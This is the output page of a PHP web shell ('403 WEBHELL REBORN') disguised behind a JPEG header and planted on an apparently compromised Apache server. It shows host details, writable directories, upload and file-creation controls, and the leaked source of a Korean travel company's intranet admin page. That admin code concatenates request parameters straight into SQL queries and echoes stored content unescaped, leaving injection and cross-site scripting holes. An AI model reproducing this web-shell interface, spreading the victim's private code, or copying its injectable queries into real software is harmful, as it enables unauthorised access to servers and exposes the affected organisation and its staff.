ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/admin/work_request/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/admin/work_request/work_request_view.html
<?php
    $is_main = "Y";
	include "../include/top.html";
    if(!$SEQ) exit;

    // 데이터
    $sql="SELECT * FROM TB_WORK_REQUEST where SEQ='".$SEQ."' ";
    $data = db_fetch($sql);

    $MEM_NM = $data[MEM_NM];

    // 코멘트
    $sql="SELECT * FROM TB_WORK_REQUEST_COMT where SEQ='".$SEQ."' ";
    $result = db_query($sql);
    while($rows = db_fetch_array($result)){
        $comt_data[] = $rows;
    }

    $SqlType = "edit";

    $href = "mode=$mode";
    $href.= "&select_key=$select_key";
    $href.= "&input_key=$input_key";

    $param = $href."&page=$page";

    // 게시물 내용의 이미지 태그 변경
    $data[MCONT] = preg_replace("/(\<img )([^\>]*)(\>)/i", "$1onclick=\"to_dialog.image(this.src);\" title='원본이미지(클릭)' $2$3", $data[MCONT]);

    // 구분
    $data['CATE_NM'] = get_intra_cate($data['MCATE']);

    // 부서명 ( 또는 부서아이콘 )
    $member = member_fetch(sprintf(" and mb_level <= 20 and mb_id = '%s' ", $data[MEM_ID]),"emp_rank_cd, emp_incid_dt, mb_nm, emp_brench_cd, emp_depart_cd desc ");
    $member_dept = $member[0]['emp_depart_nm'];
    if($member[0]['emp_depart_img']){
        $data['DEPT_NM'] = "<img src='".$member[0]['emp_depart_img']."'>";
    } else {
        $data['DEPT_NM'] = $member_dept;
    }
    $data['CORP_NM'] = $member[0]['bz_corp_nm'];

    // NEW 아이콘
    $yesterday = date('Y-m-d H:i:s', strtotime("-1 day"));
    if($data['INSDT'] > $yesterday){
        $data['NEW_IMG'] = "<img src='/admin/image/new_icon.gif'>";
    }

    // 수정/삭제 권한
    if($TK_MEMBER['mb_id']==$data['MEM_ID'] && $data['CONFIRM_YN'] == 'N') {
        $allow_edit = true;
        $allow_del = true;
    } else {
        $allow_edit = false;
        $allow_del = false;
    }
    if($TK_MEMBER['mb_level'] <= 2){
        $allow_edit = true;
        $allow_del = true;
    }


    // 게시물의 조회수 증가
    db_query("update TB_WORK_REQUEST set READCNT = READCNT + 1 where SEQ = '$SEQ'");

    // 로그인한 관리자의 부서
    $admin_member = member_fetch(sprintf(" and mb_level <= 10 and mb_id = '%s' ", $TK_MEMBER[mb_id]),"emp_rank_cd, emp_incid_dt, mb_nm, emp_brench_cd, emp_depart_cd desc ");
    $admin_dept = $admin_member[0]['emp_depart_nm'];

    $admin_arr = member_fetch(" and mb_level <= 10 and del_flag='N' ");
    $admin_arr = array_reverse($admin_arr);
    //p($admin_arr);
    $adminUser = array();
    foreach ($admin_arr as $item){
        $adminUser[$item['mb_id']] = $item;
    }

    $workType = getWorkTypeList();

    //서브 업무요청 목록
    $subWorkRequestList = getSubWorkRequestData($SEQ);

    $processTypeList = getProcessTypeList();
?>
<style>
    /*.subWorkRequestArea*/
    #subWorkRequestListArea li{clear:both;margin-bottom:10px;padding-top:9px !important;}
    #subWorkRequestListArea li p{float:left}
    .subWorkRequestContentsView{width:550px;_background:red}
    .delSubWorkRequestContents{cursor:pointer}
    .Bbtn.yellow{border:1px solid #f1c40f}
</style>
<script type="text/javascript">
    function article_del(){
		if(confirm('글을 삭제하시겠습니까?\n삭제된 글은 복구가 불가능합니다.') ){
			location.href='work_request_proc.php?SqlType=delete&SEQ=<?=$SEQ?>';
		}
	}

	function check_comment(){
		var f = document.cmm_ins_form;

        if($('#CCONT').val()!=''){
			f.SqlType.value="comment_add";
			f.submit();
		}else{
			alert('코멘트 내용을 입력하세요');
			$('#CCONT').focus();
		}
	}

	function comment_del(CSEQ){
		if(!CSEQ) return;

		if(confirm('코멘트를 삭제하시겠습니까?\n삭제된 글은 복구가 불가능합니다.')){
			ajax_post('','work_request_proc.php?SqlType=comment_del&type=view&SEQ=<?=$data[SEQ]?>&<?=$param?>&CSEQ='+CSEQ,'','');
		}
	}
</script>
<style>
	.mcont img{max-width:100%;}
    .comment li {border-bottom:1px solid #DDD;margin-bottom:10px;padding-bottom:10px}
	.comment .comment_date{margin-top:5px}
    .title{margin-top:0px}
    .comment_name{min-width:135px}

    #subWorkRequestListArea{margin-top:20px}
    #subWorkRequestListArea li{clear:both;float:left;width:100%;border-bottom:1px solid #ccc;padding-bottom:5px}
    #subWorkRequestListArea li p, #subWorkRequestListArea li button{float:left}

    #subWorkRequestListArea li .statusChgButtonArea{float:right;margin-left:10px;position:relative;top:-6px}
    .Tbtn{padding:3px}
    /*table tr, table td, table th{padding:0 !important;margin:0 !important;}*/
    .Tbtn.yellow{background:#fcdf7c !important; border:1px solid #f1c40f !important; color:#000}

    .subWorkRequestEndBtn{padding:5px 22px !important;}
    .subWorkRequestStartBtn{padding:5px 22px !important;}

    .delSubWorkRequestContents{margin-left:5px}
    #subWorkRequestContents, #CCONT{background:#fff}
    .contents_detail{width:1131px}
</style>

<input type="hidden" name="currentLoginPersonID" id="currentLoginPersonID" value="<?=$TK_MEMBER['mb_id']?>" />
<input type="hidden" name="currentLoginPersonName" id="currentLoginPersonName" value="<?=$TK_MEMBER['mb_nm']?>" />
<div class="main_wrap">
    <div class="contents_wrap_in" style="background-color:#EEE;">
		<?php
		    include $_SERVER['DOCUMENT_ROOT'].'/admin/main/main_tab.html';
		?>
        <br>
        <div class="title">
            <br>
            업무요청<span class="arrow">&gt;</span><strong>내용 보기</strong>
        </div>
        <br>
        <br>
        <div class="contents_detail">
            <input type="hidden" name="seq" id="seq" value="<?=$data['SEQ']?>" />
			<div id="Content_box">
<!--				<table width="100%" border="0" cellspacing="0" cellpadding="0" class="setting_write mt30">-->
                <table width="100%" border="0" cellspacing="0" cellpadding="0" class="setting_write" style="margin-top:-6px" summary="게시물을 등록하실 수 있습니다." >
					<tbody>
                    <tr>
                        <th style="border-top:1px solid #000;background:#f2fcea;width:120px" scope="row"><label for="MEM_NM">업무요청자</label></th>
                        <td style="border-top:1px solid #000;background:#f2fcea;width:240px">
                            <p  style="display:inline-block;margin-top:4px"><?=$data['MEM_NM']?></p>

                            <b style="font-size:25px;float:right">
                                <i class="xi-share"></i>
                            </b>
                        </td>

                        <th style="border-top:1px solid #000;background:#f2fcea;width:120px" scope="row"><label for="MEM_NM" style="color: green;
    font-weight: bold;">업무진행자</label></th>
                        <td style="border-top:1px solid #000;background:#f2fcea;color: green;
    font-weight: bold;">
							<?=$adminUser[$data['performer']]['mb_nm']?>
                        </td>

                        <th scope="row" style="border-top:1px solid #000;background:#f2fcea;width:120px">업무구분</td>
                        <td style="border-top:1px solid #000;background:#f2fcea">
							<?=$workType[$data['workType']]?>
                        </td>
                    </tr>
                    <?php
                        if($data['processType']){
                    ?>
                    <tr>
                        <th scope="row">
                            <label for="processType">처리구분</label>
                        </th>
                        <td colspan="5" style="" id="processType"><?=$processTypeList[$data['processType']]?></td>
                    </tr>
					<?php
                    }
					?>
                    <tr>
                        <th scope="row">
                            <label for="MTITLE">업무제목</label>
                        </th>
                        <td colspan="5" style="" id="contentsTitle"><?=$data['MTITLE']?></td>
                    </tr>
                    <tr>
                        <th scope="row">
                            <label for="">업무요청시간</label>
                        </th>
                        <td colspan="5" style=""><?=$data['INSDT']?></td>
                    </tr>
                    <tr>
                        <th scope="row">
                            <label for="">업무완료일</label>
                        </th>
                        <td colspan="5" style=""><?=$data['work_end_date']?></td>
                    </tr>
                    <tr>
						<th scope="row"><label for="MEM_NM">업무상태</label></th>
						<td colspan="5" id="workRequestStatus">
                            <?php
                                if($data['CONFIRM_YN'] == 'N'){
                                    echo "미진행";
                                }else if($data['CONFIRM_YN'] == 'Y'){
									echo "진행중";
                                }else{
									echo "완료";
                                }
                            ?>
                        </td>
					</tr>
                    <tr>
						<th scope="row"><label for="MCONT">내 용</label></th>
						<td colspan="5" height="300" style="vertical-align:top; font-size:14px; line-height:180%; font-family:Verdana;" class="mcont">
						<!-- 내용 -->
						<?=$data[MCONT]?>
						<!-- 테러 태그 방지용 --></xml></xmp><a href=""></a><a href=''></a></td>
                    </tr>
                    <tr>
                        <th scope="row"><label for="MCONT">첨부파일</label></th>
                        <td colspan="5">
                        <?php
							for ($f=1; $f<=6; $f++) {
								if ($data["MFILE".$f]) {
						?>
								<img src="../../image/board/bullet_disk.gif" align="top" />

								<a href="../lib/Download.php?Type=WORK_REQUEST&FileName=<?=$data["MFILE".$f]?>&FileNameOrg=<?=urlencode($data["MFILE".$f."_org"])?>" title="다운로드">
                                    <span class="style_3" style="text-decoration: underline"><?=$data["MFILE".$f."_org"]?></span>
                                </a>
								<br>
						<?
								}
							}
						?>

							</td>
						</tr>


                        <tr>
                            <th scope="row"><label for="MCONT">협업요청</label></th>
                            <td colspan="5" style="padding:0">
                                <div class="subWorkRequestArea">
                                    <div class="subWorkRequestSelectArea" style="background:#f2fcea;padding:10px;border-bottom:1px solid #e4e4e4">
                                        <label for="subWorkType"><i class="xi-check-square" style="font-size:19px;position:relative;top:5px;left:-5px"></i>구분선택 : </label>
                                        <select id="subWorkType" name="subWorkType" hname="업무구분" required>
                                            <option value="">==선택==</option>
                                            <?php
                                            foreach($workType as $key => $value){
                                                ?>
                                                <option value="<?=$key?>"><?=$value?></option>
                                                <?php
                                            }
                                            ?>
                                        </select>

                                        <label style="margin-left:10px"  for="subPerformer">임직원 : </label>
                                        <select name="subPerformer" id="subPerformer" hname="담당자" required>
                                            <option value="">==선택==</option>
                                            <?
                                            for($i=0 ; $i < count($admin_arr) ; $i++){
                                                $arr = $admin_arr[$i];
                                                if($arr['mb_id'] == 'monster' || $arr['mb_id'] == 'tourbossdj') { continue; }
                                                ?>
                                                <option value="<?=$arr['mb_id']?>"><?=$arr['mb_nm']?></option>
                                            <?}?>
                                        </select>

                                        <span>※ 업무협조를 요청할 직원을 먼저 선택해주세요.</span>
                                    </div>


                                    <div style="padding: 10px 10px 10px 10px">
                                        <textarea id="subWorkRequestContents" placeholder="업무협조를 위한 내용을 기재해 주세요." style="width:100%;height:200px"></textarea>
                                        <br>

                                        <div style="width:100%;text-align:center">
                                            <button id="subRequstAddBtn" style="margin-top:10px;padding:6px 20px" class="Bbtn red">발송하기</button>
                                        </div>
                                    </div>

                                </div>
                                <br>
                                <div style="width:100%;border-bottom:1px solid #ccc;height:1px;margin-bottom:20px"></div>

                                <div style="padding:0 15px 0 15px">
                                <h3 style="font-size:15px">
                                    <i class="xi-check-square" style="font-size:19px;position:relative;top:3px"></i>
                                    협조요청리스트
                                </h3>

                                <ul id="subWorkRequestListArea">
                                    <?php
                                        if(count($subWorkRequestList) == 0){
                                    ?>
                                            <li id="noSubWorkRequestWord" style="text-align:center;border-bottom:none;margin:20px 0 40px"> - 아직 협조를 요청한 직원이 없습니다. - </li>
                                    <?php
                                        }else{
                                        foreach($subWorkRequestList as $item){
//                                            p($item);
                                    ?>
                                    <li id="subWorkRequestList<?=$item['SEQ']?>">
                                        <p><b><?=$item['MEM_NM']?></b></p>
                                        <i class="xi-share" style="float:left;font-size:18px;    position: relative;
    top: -2px;"></i>
                                        <p>
                                            <b><?=$workType[$item['workType']]?></b> - </p>
                                        <p> <b><?=$adminUser[$item['performer']]['mb_nm']?></b> - </p>
                                        <p class="subWorkRequestContentsView"> <?=$item['MCONT']?> </p>

                                        <div style="float:right" class="statusChgButtonArea">

											<?php
											if($_COOKIE['MemberID'] == $item['performer']){
												if($item['CONFIRM_YN'] == 'N'){
													?>
                                                    <button class="Tbtn yellow subWorkRequestStartBtn subWorkRequestStartBtn<?=$item['SEQ']?>" seq="<?=$item['SEQ']?>" style="border:1px solid #d63031" value="Y">업무시작</button>
													<?php
												} else if($item['CONFIRM_YN'] == 'Y'){
													?>
                                                    <button class="Tbtn red subWorkRequestEndBtn subWorkRequestEndBtn<?=$item['SEQ']?>" seq="<?=$item['SEQ']?>" value="E">업무완료</button>
													<?php
												}else if($item['CONFIRM_YN'] == 'E'){
													?>
                                                    <button style="padding: 0px 13px 5px;height: unset;font-weight: 100;" class="Bbtn cmt">
                                                        <i class="xi-check" style="font-size: 18px;
    padding: 0;
    margin: 0;
    /* margin-top: 10px; */
    position: relative;
    top: 4px;"></i>처리완료</button>
                                                    <?php
												}
											}
											?>

                                            <button style="display:none;padding: 0px 13px 5px;height: unset;font-weight: 100;" class="Bbtn cmt subWorkEndWord<?=$item['SEQ']?>"><i class="xi-check" style="font-size: 18px;
    padding: 0;
    margin: 0;
    /* margin-top: 10px; */
    position: relative;
    top: 4px;"></i>처리완료</button>

                                        </div>

                                        <img style="float:right;width:20px" class="delSubWorkRequestContents" seq="<?=$item['SEQ']?>" src="/admin/image/btn/btn_delete.gif" alt="삭제" width="13">
                                        <p style="float:right"> <?php
                                            $insDt = explode(" ",$item['INSDT']);
                                            echo $insDt[0];
                                            ?>
                                        </p>

                                    </li>
                                    <?php
                                        }
                                        }
                                    ?>
                                </ul>
                                </div>


                            </td>
                        </tr>


						<tr>
							<th scope="row"><label for="CCONT">댓글달기</label></th>
							<td colspan="5">
								<form name="cmm_ins_form" id="cmm_ins_form" method="post" enctype="multipart/form-data" action="work_request_proc.php">
                                    <input type="hidden" name="param" id="param" value="<?=$param?>" />
                                    <input type="hidden" name="SEQ" id="SEQ" value="<?=$data[SEQ]?>" />
                                    <input type="hidden" name="SqlType" id="SqlType" value="<?=$SqlType?>" />
                                    <input type="hidden" name="type" id="type" value="view"/>

                                    <ul class="comment">
                                        <?
                                            foreach ($comt_data as $k => $PRow){
                                        ?>
                                        <li>
                                            <span class="comment_name"><?=$PRow[CMEM_NM]?>(<?=$PRow[CMEM_ID]?>)</span>
                                            <span class="comment_con"><?=nl2br($PRow[CCONT])?>


                                            <br>

                                            </span>
                                            <span class="comment_date"><?=substr(str_replace("-",".",$PRow[INSDT]),2,14)?>&nbsp;&nbsp;<a href="#" onclick="comment_del('<?=$PRow[CSEQ]?>'); return false;"><img src="/admin/image/btn/btn_delete.gif" alt="삭제" width="13" /></a></span>
                                        </li>
                                        <? } ?>
                                    </ul>
                                    <div class="comment_box">
                                        <textarea name="CCONT" id="CCONT" class="lo_left" style="width:880px; height:35px;" rows="6"></textarea>
                                        <div style="margin-left:10px; clear:both; padding-top:5px; display:inline">
                                            <input type="button" value="등록" class="Bbtn cmt" onclick="check_comment();" style="padding:7px 13px; height:37px;"/>
                                        </div>
                                    </div>
								</form>

							</td>
						</tr>
					    <? if($_COOKIE['MemberID'] == $data['performer']){ ?>
                        <tr>
                            <th scope="row"><label for="MCONT">업무상태변경</label></th>
                            <td colspan="5">
                                <select name="CONFIRM_YN" id="confirm_yn">
                                    <option value="">업무상태변경</option>
                                    <option value="N" <?=(($data['CONFIRM_YN'] == 'N') ? 'selected' : '')?>>미진행</option>
                                    <option value="Y" <?=(($data['CONFIRM_YN'] == 'Y') ? 'selected' : '')?>>진행중</option>
                                    <option value="E" <?=(($data['CONFIRM_YN'] == 'E') ? 'selected' : '')?>>업무완료</option>
                                </select>
                            </td>
                        </tr>
                        <?php } ?>
						</tbody>
					</table>
            </div>
			<div class="btn_wrap_C mt30" style="background-color:#edf0f5;_margin-left:-260px;">
                <?php
                    /*echo $data['MEM_NM'];
                    echo '<br>';
                    echo $adminUser[$data['performer']]['mb_nm'];
				    echo '<br>';
                    echo $data['performer'];
				    echo '<br>';*/

                    if($_COOKIE['MemberID'] == $data['performer']){
                        if($data['CONFIRM_YN'] == 'N'){
                ?>
                    <a href="#"  class="workStatusBtn Bbtn yellow" id="workStartBtn">업무시작</a>
                <?php
                        }else{
                ?>

                    <a href="#" style="<?=(($data['CONFIRM_YN'] == 'E') ? 'display:none' : '')?>" class="workStatusBtn Bbtn red" id="workEndBtn">업무완료</a>
                <?php
						}
                    }
                ?>

				<? if($_COOKIE['MemberID'] == $data['MEM_ID']){ ?>
				<a href="#"  class="Bbtn red" onclick="location.href='work_request_write.html?mode=modify&select_key=<?=$select_key?>&input_key=<?=$input_key?>&page=<?=$page?>&SEQ=<?=$SEQ?>'">수정하기</a>
				<? } ?>
				<? if($b2b_not_mode && $data[AGENT_ID] && $data['MLEVEL'] == 0) { ?>
				<a class="Bbtn gray" href="intra_reply.html?SEQ=<?=$SEQ?>&AGENT_ID=<?=$data[AGENT_ID]?>&MCATE=IVA">답변하기</a>
				<? } ?>
				<? if($allow_del) { ?>
				<a class="Bbtn" href="#" onclick="article_del(); return false;">삭제하기</a>
				<? } ?>
				<a class="Bbtn gray" href="work_request.html?<?=$param?>">목록으로</a>
			</div>
		</div>
	</div>
</div>
<script>
    $(function(){
        $(document).on('change', '#confirm_yn', function(){
            console.log($(this).val());

            if($(this).val() != ""){
                confirmYnText = $('#confirm_yn option:selected').text();
                changeConfirmYn($(this).val(),confirmYnText);
            }


        });

        function changeConfirmYn(value,confirmYnText){
            seq = $('#seq').val();

            $.ajax({
                type:"post",
                url:"/admin/ajaxData/",
                dataType: 'json',
                data: {'mode':'modifyConfirmYN','seq':seq,'confirmValue':value},
                async:false,
                success : function(data){
                    // console.log(JSON.stringify(data));

                    iziToast.show({
                        timeout:2000,
                        color: 'yellow',
                        title: '업무상태변경',
                        message: "업무상태 [" + confirmYnText + '] 변경됨.',
                    });

                    if(value == 'N'){
                        $('#workRequestStatus').text('미진행');
                        $('.workStatusBtn').text('업무시작');
                        $('.workStatusBtn').removeClass('red');
                        $('.workStatusBtn').addClass('yellow');
                        $('.workStatusBtn').attr('id','workStartBtn');
                        $('.workStatusBtn').fadeIn();
                    }

                    if(value == 'Y'){
                        $('#workRequestStatus').text('진행중');

                        $('.workStatusBtn').text('업무완료');
                        $('.workStatusBtn').removeClass('yellow');
                        $('.workStatusBtn').addClass('red');
                        $('.workStatusBtn').attr('id','workEndBtn');
                        $('.workStatusBtn').fadeIn();

                    }

                    if(value == 'E'){
                        $('#workRequestStatus').text('업무완료');
                        $('#workEndBtn').fadeOut();
                        $('#workStartBtn').fadeOut();
                    }


                },
                error : function(a,b,c){
                    console.log(JSON.stringify(a));
                    console.log(b);
                    console.log(c);
                    console.log('error');
                }
            });

        }

        $(document).on('click', '.subWorkRequestStartBtn', function(){
            workStatusValue = $(this).attr('value');
            seq = $(this).attr('seq');
            modifyWorkRequestStatus(seq,workStatusValue,'sub')
        })


        $(document).on('click', '.subWorkRequestEndBtn', function(){
            workStatusValue = $(this).attr('value');
            seq = $(this).attr('seq');
            modifyWorkRequestStatus(seq,workStatusValue,'sub')
        })


        //서브업무요청 삭제
        $(document).on('click', '.delSubWorkRequestContents', function(){


            console.log(111);
            seq = $(this).attr('seq');

            if(confirm('정말로 삭제하시겠습니까?')){
                delSubWorkRequestContents(seq);
            }else{
                return false;
            }
        });


        $(document).on('click', '#workStartBtn', function(){
        // $('#workStartBtn').click(function(){
            workStatusValue = 'Y';
            seq = $('#seq').val();
            $('#confirm_yn').val(workStatusValue)
            modifyWorkRequestStatus(seq,workStatusValue,'main')
            return false;
        })

        $(document).on('click', '#workEndBtn', function(){
        // $('#workEndBtn').on("click", function(){
            console.log('aaa');
            workStatusValue = 'E';
            seq = $('#seq').val();
            $('#confirm_yn').val(workStatusValue)
            modifyWorkRequestStatus(seq,workStatusValue,'main');
            return false;
        })

        $(document).on('click', '#subRequstAddBtn', function(){
            subWorkType = $('#subWorkType').val();

            if(subWorkType == ''){
                alert('구분을 선택하세요.');
                return false;
            }

            subWorkTypeKo = $('#subWorkType option:selected').text();
            subPerformer = $('#subPerformer').val();

            if(subPerformer == ''){
                alert('임직원을 선택하세요.');
                return false;
            }

            subPerformerKo = $('#subPerformer option:selected').text();
            subWorkRequestContents = $('#subWorkRequestContents').val();

            if(subWorkRequestContents == ''){
                alert('내용을 입력하세요.');
                return false;
            }

            mtitle = $('#contentsTitle').text();
            parentSeq = $('#seq').val();

            currentLoginPeopleID = $('#currentLoginPersonID').val();
            currentLoginPersonName = $('#currentLoginPersonName').val();


            $.ajax({
                type:"post",
                url:"/admin/ajaxData/",
                dataType: 'json',
                data: {'mode':'addSubWorkRequest','seq':parentSeq,'subWorkType':subWorkType,'subPerformer':subPerformer,'subWorkRequestContents':subWorkRequestContents,'mtitle':mtitle,'currentLoginPeopleID':currentLoginPeopleID,'currentLoginPersonName':currentLoginPersonName},
                async:false,
                success : function(data){
                    console.log(JSON.stringify(data));
                    subWorkRequestListTag = "<li id='subWorkRequestList"+ data.seq +"'>" +
                        "<p><b> "+currentLoginPersonName+" </b></p>" +
                        "<i class='xi-share' style='float:left;font-size:18px;    position: relative;top: -2px;'></i>" +
                        "<p><b>"+subWorkTypeKo+"</b> - </p><p><b>"+subPerformerKo+"</b> - </p><p class='subWorkRequestContentsView'>"+subWorkRequestContents+"</p>" +
                        "<img class='delSubWorkRequestContents' seq='" + data.seq + "' src='/admin/image/btn/btn_delete.gif' style='float:right;width:20px' alt='삭제' width='13'>" +
                        "<p style='float:right'>"+data.regTime+"</p>" +
                        "</li>";

                    $('#subWorkRequestListArea').append(subWorkRequestListTag);
                    $('#subWorkType').val('');
                    $('#subPerformer').val('');
                    $('#subWorkRequestContents').val('');
                    $('#noSubWorkRequestWord').hide();

                },
                error : function(a,b,c){
                    console.log(JSON.stringify(a));
                    console.log(b);
                    console.log(c);
                    console.log('error');
                }
            });
        })


        function delSubWorkRequestContents(seq){
            $.ajax({
                type:"post",
                url:"/admin/ajaxData/",
                dataType: 'json',
                data: {'mode':'delSubWorkRequestContents','seq':seq},
                async:false,
                success : function(data){
                    console.log(JSON.stringify(data));

                    if(data.result == true){
                        $('#subWorkRequestList'+seq).hide();
                    }

                },
                error : function(a,b,c){
                    console.log(JSON.stringify(a));
                    console.log(b);
                    console.log(c);
                    console.log('error');
                }
            });
            return false;
        }


        function modifyWorkRequestStatus(seq,workStatusValue,workSeqType){
            $.ajax({
                type:"post",
                url:"/admin/ajaxData/",
                dataType: 'json',
                data: {'mode':'modifyWorkRequestStatus','seq':seq,'workStatusValue':workStatusValue},
                async:false,
                success : function(data){
                    console.log(JSON.stringify(data));
                    if(data.result == true){
                        if(workSeqType == 'main'){
                            if(workStatusValue == 'Y'){
                                $('#workRequestStatus').text('진행중');
                                $('#workStartBtn').text('업무완료');
                                $('#workStartBtn').attr('class','Bbtn red');
                                $('#workStartBtn').attr('id','workEndBtn');
                            }else if(workStatusValue == 'E'){
                                $('#workEndBtn').hide();
                                iziToast.show({
                                    timeout:4000,
                                    color: 'green',
                                    title: '수고하셨습니다.',
                                    message: "업무가 완료되었습니다.",
                                });
                            }
                        }else if(workSeqType == 'sub'){

                            if(workStatusValue == 'Y'){

                                $('.subWorkRequestStartBtn'+seq).text('업무완료');
                                $('.subWorkRequestStartBtn'+seq).attr('value','E');
                                $('.subWorkRequestStartBtn'+seq).removeClass('subWorkRequestStartBtn');
                                $('.subWorkRequestStartBtn'+seq).removeClass('yellow');
                                $('.subWorkRequestStartBtn'+seq).addClass('red');
                                $('.subWorkRequestStartBtn'+seq).addClass('subWorkRequestEndBtn');
                                $('.subWorkRequestStartBtn'+seq).addClass('subWorkRequestEndBtn'+seq);
                                $('.subWorkRequestStartBtn'+seq).removeClass('subWorkRequestStartBtn'+seq);

                            }else if(workStatusValue == 'E'){
                                $('.subWorkRequestEndBtn'+seq).hide();
                                $('.subWorkEndWord'+seq).show();
                            }
                        }
                    }
                },
                error : function(a,b,c){
                    console.log(JSON.stringify(a));
                    console.log(b);
                    console.log(c);
                    console.log('error');
                }
            });
            return false;
        }

        $('title').text('업무요청 - <?=$data['MTITLE']?>');
    })

</script>

<? include "../include/footer.html" ?>


Anon7 - 2021